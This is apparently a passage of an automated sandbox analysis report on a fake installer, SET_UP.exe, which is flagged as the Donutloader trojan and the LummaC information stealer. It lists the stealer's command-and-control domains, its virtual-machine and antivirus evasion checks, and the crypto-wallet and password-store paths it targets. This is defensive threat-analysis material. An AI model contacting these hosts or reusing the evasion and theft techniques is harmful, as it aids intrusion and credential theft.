Source: SET_UP.exe, 00000000.00000003.1766940665.00000000036F9000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1766846038.00000000036FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: SET_UP.exe, 00000000.00000003.1766940665.00000000036F9000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1766846038.00000000036FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: SET_UP.exe, 00000000.00000003.1766940665.00000000036F9000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1766846038.00000000036FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: SET_UP.exe, 00000000.00000003.1766192279.00000000009F8000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1792533320.0000000000A7E000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000002.1906733986.0000000000A71000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1793505529.0000000000A85000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1793064459.00000000036BB000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1805838052.00000000036C8000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1805928327.0000000000A84000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1903390472.0000000000A84000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1903390472.0000000000A71000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1792493921.00000000036BB000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1782179637.00000000036B6000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1766192279.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1806395718.00000000036C8000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1821548678.0000000000A84000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000002.1906733986.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://glowscarrytsv.sbs/
Source: SET_UP.exe, 00000000.00000003.1903390472.0000000000A84000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000002.1906733986.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://glowscarrytsv.sbs/B
Source: SET_UP.exe, 00000000.00000002.1906733986.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://glowscarrytsv.sbs/api
Source: SET_UP.exe, 00000000.00000003.1766192279.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://glowscarrytsv.sbs/api7
Source: SET_UP.exe, 00000000.00000003.1903390472.0000000000A7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://glowscarrytsv.sbs/api9
Source: SET_UP.exe, 00000000.00000002.1906733986.0000000000A7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://glowscarrytsv.sbs/apia
Source: SET_UP.exe, 00000000.00000003.1903390472.0000000000A84000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000002.1906733986.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://glowscarrytsv.sbs/apim
Source: SET_UP.exe, 00000000.00000003.1766192279.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://glowscarrytsv.sbs/apis
Source: SET_UP.exe, 00000000.00000003.1805928327.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://glowscarrytsv.sbs/apiv
Source: SET_UP.exe, 00000000.00000002.1906733986.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://glowscarrytsv.sbs/apiwg
Source: SET_UP.exe, 00000000.00000003.1767425776.0000000003755000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: SET_UP.exe, 00000000.00000003.1794212261.00000000037D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: SET_UP.exe, 00000000.00000003.1794212261.00000000037D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: SET_UP.exe, 00000000.00000003.1767636057.0000000003707000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1767534628.0000000003707000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1782141023.0000000003707000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1767425776.0000000003753000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: SET_UP.exe, 00000000.00000003.1767534628.00000000036E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: SET_UP.exe, 00000000.00000003.1767636057.0000000003707000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1767534628.0000000003707000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1782141023.0000000003707000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1767425776.0000000003753000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: SET_UP.exe, 00000000.00000003.1767534628.00000000036E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: SET_UP.exe, 00000000.00000003.1766940665.00000000036F9000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1766846038.00000000036FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: SET_UP.exe, 00000000.00000003.1766940665.00000000036F9000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1766846038.00000000036FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: SET_UP.exe	String found in binary or memory: https://www.innosetup.com/
Source: SET_UP.exe, 00000000.00000003.1794212261.00000000037D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: SET_UP.exe, 00000000.00000003.1794212261.00000000037D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: SET_UP.exe, 00000000.00000003.1794212261.00000000037D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: SET_UP.exe, 00000000.00000003.1794212261.00000000037D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: SET_UP.exe, 00000000.00000003.1794212261.00000000037D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: SET_UP.exe	String found in binary or memory: https://www.remobjects.com/ps

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49754 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.1906349793.0000000000950000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown

Source: C:\Users\user\Desktop\SET_UP.exe

Code function: 0_2_009A49C9 NtCreateSection,NtMapViewOfSection,VirtualAlloc,NtMapViewOfSection,VirtualProtect,VirtualProtect,VirtualProtect,CreateThread,

0_2_009A49C9

Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00950409	0_2_00950409
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_009A49C9	0_2_009A49C9
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00996096	0_2_00996096
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00950000	0_2_00950000
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00972040	0_2_00972040
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_0095F07A	0_2_0095F07A
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_009551C6	0_2_009551C6
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00989116	0_2_00989116
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00958106	0_2_00958106
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_0095A136	0_2_0095A136
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_0096C127	0_2_0096C127
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_0096C156	0_2_0096C156
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_0096E146	0_2_0096E146
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_0095B146	0_2_0095B146
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_0096F2F6	0_2_0096F2F6
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_009792F7	0_2_009792F7
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_009812F6	0_2_009812F6
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00992396	0_2_00992396
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00957386	0_2_00957386
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_009543D6	0_2_009543D6
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_0097A3C6	0_2_0097A3C6
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00964336	0_2_00964336
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00996356	0_2_00996356
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_0098843D	0_2_0098843D
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_0096C446	0_2_0096C446
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00969517	0_2_00969517
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_0096F576	0_2_0096F576
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_0097656C	0_2_0097656C
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_009636BE	0_2_009636BE
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_0095C6D6	0_2_0095C6D6
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00967625	0_2_00967625
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00984659	0_2_00984659
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00996656	0_2_00996656
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_0098E646	0_2_0098E646
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_0098F666	0_2_0098F666
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00966786	0_2_00966786
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_0098178F	0_2_0098178F
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_009547A6	0_2_009547A6
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_009817A5	0_2_009817A5
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_0098D8CE	0_2_0098D8CE
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_0098E876	0_2_0098E876
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_0095A976	0_2_0095A976
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00979A93	0_2_00979A93
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00969ABE	0_2_00969ABE
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00988AB3	0_2_00988AB3
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00994ACB	0_2_00994ACB
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00962AC1	0_2_00962AC1
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_0096EA16	0_2_0096EA16
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_0095EA1D	0_2_0095EA1D
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_0096DA1E	0_2_0096DA1E
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00973A26	0_2_00973A26
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00960BD6	0_2_00960BD6
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00971B4F	0_2_00971B4F
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00955B76	0_2_00955B76
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00986C96	0_2_00986C96
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_0095ACA6	0_2_0095ACA6
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00982CA6	0_2_00982CA6
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00995CE6	0_2_00995CE6
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00985C3A	0_2_00985C3A
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00957C76	0_2_00957C76
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_0096ED86	0_2_0096ED86
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00981DAB	0_2_00981DAB
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_0098DD06	0_2_0098DD06
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00984D39	0_2_00984D39
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00958EE6	0_2_00958EE6
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_0095FE46	0_2_0095FE46
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_0095BFB9	0_2_0095BFB9
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00963FA7	0_2_00963FA7
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_0098DF66	0_2_0098DF66

Source: C:\Users\user\Desktop\SET_UP.exe	Code function: String function: 00959A76 appears 74 times
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: String function: 00966776 appears 113 times

Source: SET_UP.exe

Static PE information: invalid certificate

Source: SET_UP.exe

Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows

Source: SET_UP.exe, 00000000.00000003.1742632855.000000000306E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs SET_UP.exe
Source: SET_UP.exe, 00000000.00000002.1907056872.0000000000DA8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamekernel32j% vs SET_UP.exe
Source: SET_UP.exe, 00000000.00000000.1655032089.0000000000732000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileName vs SET_UP.exe
Source: SET_UP.exe	Binary or memory string: OriginalFileName vs SET_UP.exe

Source: SET_UP.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: 00000000.00000002.1906349793.0000000000950000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/0@2/1

Source: C:\Users\user\Desktop\SET_UP.exe

Code function: 0_2_00950B19 CreateToolhelp32Snapshot,Thread32First,Wow64SuspendThread,CloseHandle,

0_2_00950B19

Source: C:\Users\user\Desktop\SET_UP.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: C:\Users\user\Desktop\SET_UP.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SET_UP.exe, 00000000.00000003.1767206139.00000000036E6000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1782179637.00000000036C8000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: SET_UP.exe	String found in binary or memory: -Helper process exited with failure code: 0x%x
Source: SET_UP.exe	String found in binary or memory: -HelperRegisterTypeLibrary: StatusCode invalidU
Source: SET_UP.exe	String found in binary or memory: /InstallOnThisVersion: Invalid MinVersion string
Source: SET_UP.exe	String found in binary or memory: /LoadInf=

Source: C:\Users\user\Desktop\SET_UP.exe

File read: C:\Users\user\Desktop\SET_UP.exe

Jump to behavior

Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: SET_UP.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: SET_UP.exe

Static file information: File size 77268426 > 1048576

Source: SET_UP.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x2bfa00

Source: SET_UP.exe

Static PE information: section name: .didata

Source: C:\Users\user\Desktop\SET_UP.exe

Code function: 0_2_0097ED99 push es; mov dword ptr [esp], eax

0_2_0097EDA0

Source: C:\Users\user\Desktop\SET_UP.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\SET_UP.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\SET_UP.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\SET_UP.exe TID: 7724	Thread sleep time: -180000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\SET_UP.exe TID: 7752	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\SET_UP.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: SET_UP.exe, 00000000.00000003.1792533320.0000000000A26000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000002.1906469607.0000000000A27000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1805928327.0000000000A27000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1766192279.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW b
Source: SET_UP.exe, 00000000.00000002.1906469607.00000000009E7000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1792533320.0000000000A26000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1903506945.0000000000A26000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1821699988.0000000000A26000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1766192279.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\SET_UP.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00950409 mov edx, dword ptr fs:[00000030h]	0_2_00950409
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_009509C9 mov eax, dword ptr fs:[00000030h]	0_2_009509C9
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00951019 mov eax, dword ptr fs:[00000030h]	0_2_00951019
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00951018 mov eax, dword ptr fs:[00000030h]	0_2_00951018
Source: C:\Users\user\Desktop\SET_UP.exe	Code function: 0_2_00950D79 mov eax, dword ptr fs:[00000030h]	0_2_00950D79

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: SET_UP.exe	String found in binary or memory: glowscarrytsv.sbs
Source: SET_UP.exe	String found in binary or memory: nearycrepso.shop
Source: SET_UP.exe	String found in binary or memory: cloudewahsj.shop
Source: SET_UP.exe	String found in binary or memory: noisycuttej.shop
Source: SET_UP.exe	String found in binary or memory: rabidcowse.shop
Source: SET_UP.exe	String found in binary or memory: framekgirus.shop
Source: SET_UP.exe	String found in binary or memory: tirepublicerj.shop
Source: SET_UP.exe	String found in binary or memory: abruptyopsn.shop
Source: SET_UP.exe	String found in binary or memory: wholersorie.shop

Source: C:\Users\user\Desktop\SET_UP.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\SET_UP.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: SET_UP.exe, 00000000.00000003.1821699988.0000000000A28000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000002.1906469607.00000000009FB000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1821699988.0000000000A1D000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\SET_UP.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: SET_UP.exe PID: 7620, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: SET_UP.exe, 00000000.00000003.1807449466.0000000000A53000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: SET_UP.exe, 00000000.00000003.1807449466.0000000000A53000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: SET_UP.exe, 00000000.00000003.1792533320.0000000000A68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: SET_UP.exe, 00000000.00000003.1807449466.0000000000A53000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: SET_UP.exe, 00000000.00000003.1807449466.0000000000A37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
